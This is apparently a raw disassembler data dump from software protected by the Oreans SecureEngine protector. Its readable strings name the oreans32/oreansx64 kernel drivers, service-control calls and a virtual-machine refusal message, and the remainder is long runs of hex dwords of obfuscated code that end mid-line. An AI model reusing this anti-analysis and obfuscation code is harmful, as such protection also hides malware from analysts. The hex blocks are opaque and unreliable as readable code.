dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h dd 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 10h aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0) dd 0EE9C48Bh, 0DF000000h, 0FA70950Fh, 9B593D2h, 0A035F250h dd 6985896Fh, 105E91Fh, 0E912599Dh, 3C08B05h, 0E92821BDh dd 4DBD8305h, 5E916h, 0BD830975h, 5E91121h, 50197400h dd 0B8C08B53h, 43Dh, 23B98589h, 9D8D05E9h, 5EBB8C4h, 585BD3FFh dd 1121BD83h, 740005E9h, 0B8535017h, 43Dh, 23B98589h, 9D8D05E9h dd 5EBB5B3h, 585BD3FFh, 0BE9h, 19F2AC00h, 0BF58317Dh, 6A096F0h dd 8BF88B66h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0D0C869A6h, 11E991AAh, 0C7000000h dd 0DDE4D183h, 0EE305AB3h, 149E1166h, 850AD131h, 8166C08Bh dd 83D5BDEFh, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h dd 8B535013h, 0B8C0h, 9D8D0000h, 5EBB766h, 585BD3FFh, 1121BD83h dd 740005E9h, 0B8535011h, 0 dd 0B6179D8Dh, 0D3FF05EBh, 8B66585Bh, 21BD09D6h, 8B05E92Dh dd 13E9C0h, 0A5C70000h, 36394E7Fh, 0CDE712D4h, 0E711415Eh dd 0A9E0F02h, 6830FBCh, 31000000h, 0E90F7DB5h, 89C08B05h dd 0E92F4585h, 0F58D3105h, 8305E930h, 0E9164DBDh, 9750005h dd 1121BD83h, 740005E9h, 8B535013h, 0B8C0h, 9D8D0000h dd 5EBB698h, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535011h dd 0 dd 0B5E59D8Dh, 0D3FF05EBh, 8960585Bh, 0E9267DB5h, 0ABBA6605h dd 958B61D5h, 5E9008Dh, 11E8h, 7CC2EF00h, 63404F3Ch, 0F764258Ch dd 0E9143679h, 95896608h, 5E9195Dh, 6AC08B59h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 903C350h, 0E960B5E6h, 11h, 0E8058C43h, 0BDEC4E88h, 0D9BC0D1Fh dd 8304169Ah, 83C08BBCh, 0E9164DBDh, 9750005h, 1121BD83h dd 740005E9h, 8B535013h, 0B8C0h, 9D8D0000h, 5EBB6FFh, 585BD3FFh dd 1121BD83h, 740005E9h, 0B8535011h, 0 dd 0B5FE9D8Dh, 0D3FF05EBh, 7E9585Bh, 0D4000000h, 4CAB04FEh dd 8B531D6Ah, 0E900918Dh, 0F1815A05h, 52B035Bh, 870FC08Bh dd 13h, 0EE9h, 5CD10B00h, 3E053286h, 0FB617C9Dh, 8189DDCAh dd 57644FE7h, 60C08B52h, 5DD952Bh, 11E805E9h, 75000000h dd 59F9A1E3h, 210F2B43h, 0B93694A3h, 572B2BBFh, 7E59D23h dd 615A05E9h, 164DBD83h, 750005E9h, 21BD8309h, 5E911h dd 53501374h, 0B8C08Bh, 8D000000h, 0EBB6319Dh, 5BD3FF05h dd 11E958h, 0AF7F0000h, 8083E8F6h, 0EB6B18FEh, 0B96020C2h dd 0F52E0DB1h, 0C08BC08Bh, 81D88A60h, 79FF1FE8h, 0BD836158h dd 5E9164Dh, 83097500h, 0E91121BDh, 19740005h, 0C08B5350h dd 7D0B8h, 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h dd 21BD8358h, 5E911h, 53501774h, 7D0B8h, 0B9858900h, 8D05E923h dd 0EBB5B39Dh, 5BD3FF05h, 7D958B58h, 8B05E92Eh, 0A9D981C0h dd 0C62D9156h, 0E90EE585h, 8E95305h, 84000000h, 0B4D13398h dd 68C974A0h, 99395F90h, 0A047EF81h, 9D8977C9h, 5E92791h dd 2345B5FFh, 958905E9h, 5E925B5h, 39CF858Dh, 6A05E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 3BF345C3h, 15FA05B6h, 69BD896Ch, 0FF05E91Dh, 0BA6652D0h dd 895FCD21h, 0E90BC585h, 0F98B6605h, 0EE585C6h, 665705E9h dd 680377BFh, 90045206h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 18C35343h, 8D8B4E73h, 5E921E1h, 2345B5FFh dd 666005E9h, 0F729C081h, 8D61C8B3h, 0E939CF85h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 9B68D751h, 7914C60Eh, 0FFD78B65h, 398D8BD0h, 8905E90Eh dd 0E907C985h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 12E96CCDh, 0BB000000h dd 0FC154AB9h, 17AF4668h, 1CA08C70h, 0A9B294BFh, 5DBD8BB5h dd 0C605E932h, 0E90EE585h, 6A4305h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0E7626DC3h dd 25FD735Dh, 0BD8B128Bh, 5E906F1h, 90702868h, 458D31BCh dd 0FF05E918h, 0E92345B5h, 0AE95605h, 58000000h, 0A090F23h dd 879237ADh, 0BD295A90h, 5E9045Dh, 39CF858Dh, 816605E9h dd 0FFE48EF1h, 6850FD0h, 1000000h, 0E900998Dh, 0B9858905h dd 6A05E921h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8BECC352h, 0E90AD5BDh, 0D5E78105h dd 66102B84h, 1BB4CA81h, 0EE585C6h, 0F4C05E9h, 0E968CBB7h dd 6AD9DA1Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 965DC356h, 8E86Bh, 0A9CB0000h dd 0ACF28DCh, 0F5119B3h, 8Bh, 0FF5F5F00h, 0E92345B5h, 0F1B52905h dd 8D05E91Dh, 0E939CF85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 6E86Bh, 9870000h dd 0DDC4E572h, 2E31B501h, 0FF5905E9h, 99958BD0h, 8905E92Fh dd 0E92B6185h, 8BED8005h, 0EE585C6h, 0F54605E9h, 0DE061468h dd 0D28166BAh, 0B5FF9BC6h, 5E92345h, 0FE9h, 0B10F3B00h dd 0C1412E8Bh, 3EE04623h, 42C89BB2h, 39CF858Dh, 0E96005E9h dd 13h, 896D37BEh, 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0BBD912BEh dd 2056A37Bh, 0E9D0FF61h, 0Bh, 3A459E10h, 593AF78Fh, 89B3940Eh dd 0E92A4185h, 0B860F05h, 0F000000h, 583h, 6491B900h, 0CB8B6CE1h dd 0EE585C6h, 34705E9h, 0E90B21BDh, 0B5E26805h, 0B5298A0Fh dd 5E90E9Dh, 2345B5FFh, 816605E9h, 8D467BEFh, 0E939CF85h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 2C214ED7h, 0D999D31h, 0D0FF05E9h, 95AE281h dd 858946E2h, 5E932C5h, 4AEBA66h, 0EE585C6h, 684705E9h dd 83D0B5F3h, 0FFD3BF0Fh, 0E92345B5h, 0B9852905h, 8D05E926h dd 0E939CF85h, 6DBD8B05h, 0FF05E911h, 52006AD0h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0CF816688h, 85893066h, 5E90F89h, 9AF7B966h, 0EE585C6h dd 6A7705E9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 1524C357h, 3B12C076h, 85B116F7h dd 97A8A368h, 55CEB9F3h, 0B5FF3B82h, 5E90039h, 0BF58D33h dd 858D05E9h, 5E939CFh, 61D18B60h, 0DF81D0FFh, 5201F8C0h dd 2CF1B501h, 858905E9h, 5E903A5h, 5E9h, 66A96500h, 85C657AAh dd 5E90EE5h, 68E0F47h, 3000000h, 0E90B99BDh, 0FAF66805h dd 6A8728h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 134541C3h, 0D9F6EE80h, 0FF6AF580h, 0E92345B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 928F2FE5h, 8D8BAE0Fh, 5E9253Dh, 65122CBAh dd 0CF858D43h, 0F05E939h, 58Bh, 0C1816600h, 850F1225h dd 15h, 10E9h, 85110F00h, 0A0CEA78Ch, 5612FD0Eh, 0B60C902Bh dd 8BD0FFD0h, 0E90E79BDh, 0A1858905h, 6A05E922h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 167FC352h, 0E680A117h, 0E585C672h, 4305E90Eh, 28EDBD8Bh dd 0FC6805E9h, 2BBC8E6Eh, 0E900DD95h, 45B5FF05h, 0FC05E923h dd 39CF858Dh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 4BDB2BC3h, 4BC78450h, 8178630Ch dd 0CBEC9AE2h, 56D0FF0Ah, 78EA8166h, 85895F98h, 5E90F05h dd 10A59589h, 85C605E9h, 5E90EE5h, 6968F945h, 0F8E7269h dd 68Ah, 0F9BD3300h, 2305E92Bh, 0E90AF1BDh, 45B5FF05h dd 6605E923h, 8A2809B9h, 0CF858DEFh, 8905E939h, 0E923018Dh dd 23D0FF05h, 0E9166D95h, 61858905h, 6005E917h, 2AADB58Bh dd 0CBF05E9h, 614D7FAAh, 0EE585C6h, 894405E9h, 0E90795B5h dd 0EC646805h, 0BA56B8F2h, 56D54591h, 45B5FF59h, 8D05E923h dd 0E939CF85h, 0FFD08B05h, 0D7BF0FD0h, 27118589h, 0EE905E9h dd 0C5000000h, 8F9E7A0Dh, 0A54C3C8Bh, 7601A456h, 0E585C614h dd 4305E90Eh, 6AC18166h, 4AA7688Dh, 6AC076h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0FDF98DC3h dd 89EE7B63h, 0E92F4595h, 0F58D8B05h, 0FF05E932h, 0E92345B5h dd 858DF505h, 5E939CFh, 0FFFE8B66h, 55006AD0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0D9805690h dd 0C58589A2h, 3305E92Dh, 0E92BA595h, 0ECBD8005h, 5EC05h dd 0B2840Fh, 0B5290000h, 5E926D9h, 5CE858Dh, 9D3105ECh dd 5E91E75h, 3DB96650h, 60016A36h, 8E957h, 31110000h, 0D3876B24h dd 0F598130h, 68Eh, 810F00h, 61000000h, 2451958Bh, 6A05E9h dd 8B006AF8h, 0E91D1D95h, 0B995FF05h, 6A05E921h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 890CC355h, 0E9122995h, 6AC78105h, 8B2F06A8h, 0E927898Dh dd 0BD858905h, 8A05E919h, 0B52960CEh, 5E90265h, 0CFB70F53h dd 0FF6A615Ah, 6788B966h, 24ABF66h, 19BDB5FFh, 8D2305E9h dd 5E915D9h dd 7C995FFh, 0BD8B05E9h, 5E91841h, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DFE50FC3h dd 49B5892Bh, 8305E90Eh, 0E9164DBDh, 9750005h, 1121BD83h dd 740005E9h, 8B535019h, 7D1B8C0h, 85890000h, 5E923B9h dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h dd 7D1B853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh dd 8152585Bh, 0E44CFDD9h, 958B5F51h, 5E917A5h, 80C08BFCh dd 85C6BEE5h, 5E90EE5h, 6E847h, 0E76E0000h, 64FC3159h dd 6B98D89h, 685F05E9h, 93C8F7C1h, 0EE9h, 75538100h, 17578460h dd 0F799AAE8h, 0FF06F814h, 0E92345B5h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 6F906470h, 667B1BD9h, 8589EA44h, 5E91ED9h, 0DE9h, 0DBF4B00h dd 5560ACDCh, 0FB4B34C3h, 858D2FE4h, 5E939CFh, 0F9950B60h dd 8005E90Ah, 0FF61E8F7h, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 870840EEh dd 0B6894126h, 23B966ABh, 85B589AEh, 5005E900h, 0DC62D981h dd 0E88A3CF1h, 0A0F858Dh, 6A05ECh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 315D58C3h, 0E928F59Dh dd 9400C705h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 45CBC355h, 0F5637705h dd 18B0F58h, 0F8000000h, 0A0FB58Dh, 6A05ECh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7CD518C3h dd 0CFCABD79h, 57006A56h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0DE250ED8h, 8A0F817Fh dd 6, 25618D8Bh, 0D0FF05E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 8CC35747h, 0FFF68CFEh, 0C7D8D066h dd 719BD09h, 800F05E9h, 2, 858DC88Ah, 5EC0A0Fh, 7E9h, 0D639AE00h dd 989057D7h, 6047883h, 33850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D0180C3h dd 5E92A69h, 0AA385C7h, 105ECh, 880F0000h, 1, 3DBD83F8h dd 5E927h, 0BB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 50AEABC3h, 0F5800761h dd 0A3BD83A0h, 5EC0Ah, 8B850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 94C997C3h dd 6B8E68D4h, 11810F51h, 0E8000000h, 6, 466A47CBh, 81666919h dd 5FC8F5E7h, 1021BD83h, 0F0005E9h, 4484h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0B2F4FE44h, 0C7CE8B69h, 0E910A985h, 5, 13E900h, 30160000h dd 5E37996Ah, 297DACBh, 0E87CAEDFh, 4F2F2599h, 0DB8C66FDh dd 0BA9958Bh, 0C3F605E9h, 43840F04h, 6A000005h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0C732C350h, 0E901BD85h, 5, 0AD90B900h, 0BD804930h, 5EC05F9h dd 3850F00h, 66000000h, 85C6F88Bh, 5E90EE5h, 0FCBA6647h dd 5B866830h, 850FE3E4h, 2, 0B5FF48B6h, 5E92345h, 0FE9h dd 3023EB00h, 0CB2266B1h, 4FEA812Eh, 8BCEA08Eh, 0E8B0Fh dd 9E90000h, 70000000h, 0A32E1D13h, 766037BBh, 39CF858Dh dd 860F05E9h, 0Dh, 8E9h, 8CEE3600h, 0B4575B46h, 89D0FF9Eh dd 0E927B9BDh, 1046805h, 95310000h, 5E90191h, 12C59D8Dh dd 0F78A05E9h, 0F99D0153h, 0FF05E928h, 18DA80D0h, 12C5858Dh dd 0BF6605E9h, 6A50279Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 2980C356h, 9278727Ah dd 61D98132h, 8D5AAC00h, 0EC05AB85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 5E3C5D26h dd 0C66C5322h, 8D89DF6Ah, 5E90CE1h, 0E950D38Bh, 6, 0F34E59FAh dd 0CF81047Ah, 739A2F66h, 0FC7E858Dh, 952305EBh, 5E91701h dd 89BD2950h, 0FF05E928h, 0E903A595h, 0A1950905h, 8305E923h dd 0B5890CC4h, 5E90069h, 8068006Ah, 6A000000h, 6A006A03h dd 6800h, 858D8000h, 5EBFC7Eh, 595FF50h, 8905E90Fh, 0EC058E85h dd 0E585C605h, 4705E90Eh, 0B15E8768h, 45B5FFC7h, 8D05E923h dd 0E939CF85h, 6AD0FF05h, 8EB5FF00h, 0FF05EC05h, 0CA8B66D0h dd 2CF18D89h, 0D03D05E9h, 0F000037h, 5E83h, 188A0F00h dd 0E9000000h, 13h, 0B240F87Eh, 3013B5BDh, 7177F341h, 0FBD541BAh dd 0FF05081Eh, 0EC058EB5h, 11BD2B05h, 0FF05E918h, 0E92DC595h dd 0E5958B05h, 0E905E907h, 0F4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0DEC35545h, 8ADAA4B1h, 0FF7E60EFh dd 0EC058EB5h, 0C8B70F05h, 2DC595FFh, 0DE905E9h, 1000000h dd 122D1902h, 176B94A6h, 5610DEDCh, 89006AF8h, 0E9229595h dd 8B006A05h, 0E930D58Dh, 50006A05h, 26398D89h, 6A5F05E9h dd 7E800h, 60200000h, 2E0DB1B9h, 6A59D3h, 0D68B6652h, 8B006A59h dd 0C78151F8h, 3FCCD23Eh, 92858D5Fh, 6A05EC05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0B20BC355h, 0F0340A06h, 91BD8B75h, 5005E92Dh, 27519D89h dd 0BD8B05E9h, 5E928F9h, 0F0595FFh, 950105E9h, 5E904A1h dd 0FFFF883h, 15385h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD2316B8h, 5E93125h dd 0C11E858Dh, 0CF8105EBh, 56F4455Ah, 13E9h, 56A2CA00h dd 7BD5C1FBh, 86B4DF68h, 0FECC155Ah, 47199CCh, 8D89D0FFh dd 5E90DFDh, 952B006Ah, 5E927F1h, 8589006Ah, 5E90199h dd 9589006Ah, 5E90675h, 0BD8B006Ah, 5E91025h, 8531006Ah dd 5E918C9h, 880F006Ah, 6, 375958Bh, 0E95305E9h, 7, 0AA753DA4h dd 5A355184h, 592858Dh, 858905ECh, 5E905DDh, 0AD858950h dd 0FF05E906h, 0E90F0595h, 9E805h, 0D9A30000h, 0D857EFB7h dd 0F047864h, 8359D7BFh, 850FFFF8h, 8Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 23C35141h, 1285F740h dd 595898Eh, 8D05E904h, 0EBFF9AB5h, 8DB7B605h, 0EBAA9785h dd 8C0FF505h, 6, 31E19D01h, 0D0FF05E9h, 40E78166h, 0B890F6Fh dd 0F000000h, 586h, 943ABA00h, 6A053Eh, 0B899C3BAh, 6195FF40h dd 6A05E917h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0ED44C353h, 0BD01C619h, 5E907C5h dd 58E8589h, 6A05ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 91F050C3h, 0F2FF2212h, 6A13DCFAh dd 6D8D8B00h, 8D05E930h, 0EC058685h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 2C5D96E7h dd 0D38BE640h, 35958950h, 6A05E932h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0CDD92991h dd 14E89E90h dd 49000000h, 0E80F7CA3h, 488595B2h, 0A0AA89CDh, 9F7AF4CAh dd 802A5271h, 8B5A68E2h, 0E91ECD95h, 19858D05h, 0F05E91Dh dd 382h, 0D2BF0F00h, 50006A50h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0C100D504h, 0A58589ECh dd 6A05E900h, 0AAEA8100h, 6A0D77D1h, 0F979BA00h, 0B966369Fh dd 16AD1F0h, 0E2CBCA81h, 0B5FF567Dh, 5EC058Eh, 9509D08Bh dd 5E90C8Dh, 271195FFh, 0E9F805E9h, 1B70h, 0AD8D8B60h dd 8905E910h, 0E928F99Dh, 0BF666105h, 0C08B40EAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0AFC35646h, 8B06B56Eh dd 8381C545h, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h dd 8B535019h, 7D2B8C0h, 85890000h, 5E923B9h, 0B8C49D8Dh dd 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h, 7D2B853h dd 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh, 8166585Bh dd 2336D2C9h, 0E9270995h, 0FC08B05h, 128Dh, 7E800h, 17760000h dd 0F2F2E701h, 0AFE0B92Fh, 0E95A0FEEh, 0Eh, 0EA7D08E6h dd 0E3ABF9B3h, 7577873Fh, 85C7997Ch, 5E901BDh, 1, 2F718D89h dd 8D2905E9h, 5E92F01h, 0E4E7B868h, 0D5B5FFCEh, 8D05E921h dd 0E939CF85h, 89D0FF05h, 0E9065185h, 0DBD46805h, 0B5FFC005h dd 5E921D5h, 39CF858Dh, 0D0FF05E9h, 1D398589h, 858D05E9h dd 5EBFA37h, 45B5FF50h, 0FF05E923h, 0E932C595h, 74C00B05h dd 8DD88B0Bh, 0EC09EA85h, 0D3FF5005h, 9EA858Dh, 836605ECh dd 0A750938h, 0E0985C7h, 105E9h, 95FF0000h, 5E922A1h, 0FF25h dd 5F88300h, 85C70A73h, 5E92FB1h, 1, 890Fh, 0BD800000h dd 5EC05F9h, 10850F00h, 66000000h, 0E971B5BAh, 1A00h, 8166CCB1h dd 8379D7CFh, 0E90E09BDh, 850F0005h, 10Fh, 858D80B1h, 5EC05C3h dd 2FDD958Bh, 6A5005E9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 16FC357h, 0E91ECD9Dh dd 0CE05B905h, 16A7B67h, 18E0Fh, 6AF90000h, 0EE800h, 0F1A50000h dd 2324692Ah, 0E4105CFBh, 0D2F207E2h, 11E9h, 22429B00h dd 3336BE0Fh, 0E0C819B7h, 91C8E0A0h, 6A5A75DAh, 0D0B70F00h dd 21B995FFh, 0B96605E9h, 0BF0F99A6h, 0ED8589D1h, 6A05EC05h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0CFEBC355h, 38E895B7h, 32047F1h, 0E910B58Dh dd 6AFF6A05h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 5786C350h, 6890Fh, 958B0000h dd 5E90D0Dh, 9E959h, 0B2DB0000h, 0B40CEEB6h, 0FF07453Dh dd 0EC05EDB5h, 0EE805h, 45BC0000h, 0A2361FA0h, 0EB21C78Ah dd 3B6E9D10h, 5AD3BF0Fh, 7C995FFh, 0ECBA05E9h, 8D1815BCh dd 0EBF9FE85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 5112A638h, 50F30C3Bh dd 8950B2BCh, 0E90E6D95h, 6195FF05h, 8B05E92Bh, 0E9128D8Dh dd 88858905h, 8B05EBFAh, 0B858DFBh, 6A05EBFAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 457FC357h, 2C5F2E41h, 8961D8CAh, 0E905C5BDh, 0B5295005h dd 5E9237Dh, 0FA88B5FFh, 6A05EBh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 463201C3h, 285D9D89h dd 95FF05E9h, 5E932C5h, 85895A57h, 5E9255Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h, 7AF51282h dd 5E9B6h, 8CC10000h, 66B111A3h, 8D9531BAh, 0EBFA7985h dd 0B4F68005h, 88B5FF50h, 6A05EBFAh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5164C357h dd 141D9115h, 0F2816660h, 8D0308BDh, 5E916C9h, 0C595FF61h dd 6A05E932h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 681C353h, 0E5482D9Fh, 0FEB70F62h dd 12E9h, 0A8689E00h, 0F7BB63BDh, 550BAD96h, 4DEEF97Ch dd 66A3132Eh, 33FED181h, 0FA9C8589h, 8B6605EBh, 58858DFBh dd 5005EBFAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 4FC35646h, 0EC144BCFh, 0B9C89863h, 0FF89B689h dd 0EBFA88B5h, 9E805h, 90B70000h, 0F6C7C938h, 956D950h dd 0E930458Dh, 0B5895A05h, 5E92905h, 32C595FFh, 858905E9h dd 5E917D5h, 0FA948589h, 0BD8B05EBh, 5E903A1h, 0FA4B858Dh dd 0E96005EBh, 14h, 247733Fh, 39CB53AFh, 0AD90C09h, 0C7FA9F1Dh dd 21179651h, 11E95061h, 7C000000h, 0C0E93CD6h, 7464844Fh dd 54E783DDh, 96CCC83h, 0FA88B5FFh, 8D0905EBh, 5E906A5h dd 32C595FFh, 0CA8B05E9h, 313D8529h, 858905E9h, 